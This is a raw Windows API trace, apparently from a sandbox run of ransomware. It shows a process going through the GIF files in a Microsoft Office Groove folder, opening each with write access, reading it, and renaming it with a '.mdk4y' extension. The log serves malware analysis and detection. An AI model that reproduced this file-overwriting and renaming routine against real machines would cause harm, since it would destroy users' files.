ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x7dd3, lpOverlapped=0x0) returned 1 [0218.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829385200000) returned 1 [0218.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829385200000) returned 1 [0218.623] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_country.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Country.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_country.gif.mdk4y")) returned 1 [0218.624] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.624] AreFileApisANSI () returned 1 [0218.624] GetACP () returned 0x4e4 [0218.624] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Earthy.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Earthy.giff", lpUsedDefaultChar=0x37dda8) returned 13 [0218.624] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_earthy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829385500000) returned 1 [0218.625] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x132a, lpOverlapped=0x0) returned 1 [0218.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829389600000) returned 1 [0218.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829389600000) returned 1 [0218.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_earthy.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Earthy.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_earthy.gif.mdk4y")) returned 1 [0218.668] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.668] AreFileApisANSI () returned 1 [0218.668] GetACP () returned 0x4e4 [0218.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_FormsHomePage.gif", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_FormsHomePage.gifmp", lpUsedDefaultChar=0x37dda8) returned 20 [0218.668] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepage.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829389900000) returned 1 [0218.669] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x167bd, lpOverlapped=0x0) returned 1 [0218.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829390100000) returned 1 [0218.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829390100000) returned 1 [0218.672] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepage.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePage.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepage.gif.mdk4y")) returned 1 [0218.673] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.673] AreFileApisANSI () returned 1 [0218.673] GetACP () returned 0x4e4 [0218.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_FormsHomePageBlank.gif", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_FormsHomePageBlank.gifrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 25 [0218.674] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageblank.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829390500000) returned 1 [0218.675] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x4ebb, lpOverlapped=0x0) returned 1 [0218.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829390600000) returned 1 [0218.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829390600000) returned 1 [0218.676] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageblank.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageBlank.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageblank.gif.mdk4y")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.678] AreFileApisANSI () returned 1 [0218.678] GetACP () returned 0x4e4 [0218.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_FormsHomePageSlice.gif", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_FormsHomePageSlice.gif", lpUsedDefaultChar=0x37dda8) returned 25 [0218.678] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageslice.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829390900000) returned 1 [0218.680] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x40f, lpOverlapped=0x0) returned 1 [0218.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829391100000) returned 1 [0218.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829391100000) returned 1 [0218.681] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageslice.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_FormsHomePageSlice.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_formshomepageslice.gif.mdk4y")) returned 1 [0218.682] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.682] AreFileApisANSI () returned 1 [0218.682] GetACP () returned 0x4e4 [0218.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_GreenTea.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_GreenTea.gifeSlice.gif", lpUsedDefaultChar=0x37dda8) returned 15 [0218.682] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_greentea.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829391300000) returned 1 [0218.683] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5690, lpOverlapped=0x0) returned 1 [0218.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829391400000) returned 1 [0218.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829391400000) returned 1 [0218.685] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_greentea.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_GreenTea.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_greentea.gif.mdk4y")) returned 1 [0218.686] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.686] AreFileApisANSI () returned 1 [0218.686] GetACP () returned 0x4e4 [0218.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Groove.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Groove.gifif", lpUsedDefaultChar=0x37dda8) returned 13 [0218.686] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_groove.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829391700000) returned 1 [0218.687] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x6a, lpOverlapped=0x0) returned 1 [0218.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829391800000) returned 1 [0218.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829391800000) returned 1 [0218.688] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_groove.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Groove.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_groove.gif.mdk4y")) returned 1 [0218.689] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.689] AreFileApisANSI () returned 1 [0218.689] GetACP () returned 0x4e4 [0218.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_LightSpirit.gif", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_LightSpirit.gifice.gif", lpUsedDefaultChar=0x37dda8) returned 18 [0218.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_lightspirit.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829391900000) returned 1 [0218.689] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x21a6, lpOverlapped=0x0) returned 1 [0218.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829392400000) returned 1 [0218.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829392400000) returned 1 [0218.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_lightspirit.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_LightSpirit.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_lightspirit.gif.mdk4y")) returned 1 [0218.695] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.695] AreFileApisANSI () returned 1 [0218.695] GetACP () returned 0x4e4 [0218.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_OliveGreen.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_OliveGreen.giff", lpUsedDefaultChar=0x37dda8) returned 17 [0218.695] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_olivegreen.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829392600000) returned 1 [0218.696] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3d57, lpOverlapped=0x0) returned 1 [0218.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829393400000) returned 1 [0218.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829393400000) returned 1 [0218.705] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_olivegreen.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_OliveGreen.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_olivegreen.gif.mdk4y")) returned 1 [0218.706] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.706] AreFileApisANSI () returned 1 [0218.706] GetACP () returned 0x4e4 [0218.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Premium.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Premium.gifgif", lpUsedDefaultChar=0x37dda8) returned 14 [0218.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_premium.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829393700000) returned 1 [0218.707] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1845, lpOverlapped=0x0) returned 1 [0218.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829393800000) returned 1 [0218.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829393800000) returned 1 [0218.708] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_premium.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Premium.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_premium.gif.mdk4y")) returned 1 [0218.710] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.710] AreFileApisANSI () returned 1 [0218.710] GetACP () returned 0x4e4 [0218.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_SlateBlue.gif", cchWideChar=16, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_SlateBlue.giff", lpUsedDefaultChar=0x37dda8) returned 16 [0218.710] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_slateblue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829394000000) returned 1 [0218.710] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x5141, lpOverlapped=0x0) returned 1 [0218.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829396500000) returned 1 [0218.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829396500000) returned 1 [0218.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_slateblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_SlateBlue.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_slateblue.gif.mdk4y")) returned 1 [0218.737] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.737] AreFileApisANSI () returned 1 [0218.737] GetACP () returned 0x4e4 [0218.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_TexturedBlue.gif", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_TexturedBlue.gifce.gif", lpUsedDefaultChar=0x37dda8) returned 19 [0218.737] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_texturedblue.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829396800000) returned 1 [0218.738] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x193c, lpOverlapped=0x0) returned 1 [0218.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829396900000) returned 1 [0218.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829396900000) returned 1 [0218.739] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_texturedblue.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_TexturedBlue.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_texturedblue.gif.mdk4y")) returned 1 [0218.740] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.740] AreFileApisANSI () returned 1 [0218.740] GetACP () returned 0x4e4 [0218.740] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_VelvetRose.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_VelvetRose.gifif", lpUsedDefaultChar=0x37dda8) returned 17 [0218.740] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_velvetrose.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829397100000) returned 1 [0218.741] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3c64, lpOverlapped=0x0) returned 1 [0218.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398000000) returned 1 [0218.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398000000) returned 1 [0218.750] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_velvetrose.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_VelvetRose.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_velvetrose.gif.mdk4y")) returned 1 [0218.752] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.752] 